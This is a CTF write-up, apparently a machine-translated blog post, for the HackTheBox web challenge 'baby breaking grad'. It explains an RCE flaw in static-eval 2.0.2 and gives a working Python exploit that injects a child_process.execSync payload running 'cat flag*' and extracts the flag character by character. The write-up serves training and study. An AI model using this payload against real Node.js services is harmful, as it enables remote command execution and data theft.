当前位置：网站首页>HackTheBox-baby breaking grad

HackTheBox-baby breaking grad

2022-07-04 00:58:00 【galaxy3000】

List of articles

summary
subject

summary

HackTheBox Website CTF shooting range Web Related topics baby breaking grad, Title address https://app.hackthebox.com/challenges/baby-breaking-grad, Main investigation AST Injected knowledge points .

Insert picture description here

subject

Title Overview

After opening the program instance , Prompt to visit 209.97.187.217:32476, visit http://209.97.187.217:32476, See the following Web Interface

Insert picture description here

Directly select a submission to get
Insert picture description here
Download the attachment and extract it to get

Source code

stay routes In the catalog index.js in , Including different url Treatment method
Insert picture description here

It involves StudentHelper.js, Corresponding source code
Insert picture description here
StudentHelper.js Yes static-eval and esprima, stay package.json See their version in

Their thinking

You can see static-eval by 2.0.2, There is RCE Loophole , For details, please refer to https://github.com/advisories/GHSA-8v27-2fg9-7h62

Insert picture description here

Solution code

import string
import requests

url = 'http://209.97.187.217:32476/api/calculate'
flag = ''

for i, _ in enumerate(iter(bool, True)):
    for chr in string.printable:
        payload = "(function (x) { return `${eval(\"if(global.process.mainModule.constructor._load('child_process').execSync('cat flag*').toString().charCodeAt(" + str(i) + ") == " + str(ord(chr)) + ") {25} else {1}\")}` })()"

        data = {"name": "AAA", "formula": payload}
        r = requests.post(url, json=data)

        if('Passed' in r.content):
            flag += chr
            print(flag)

            if(chr == '}'):
                quit()

            break

Run code , obtain flag
Insert picture description here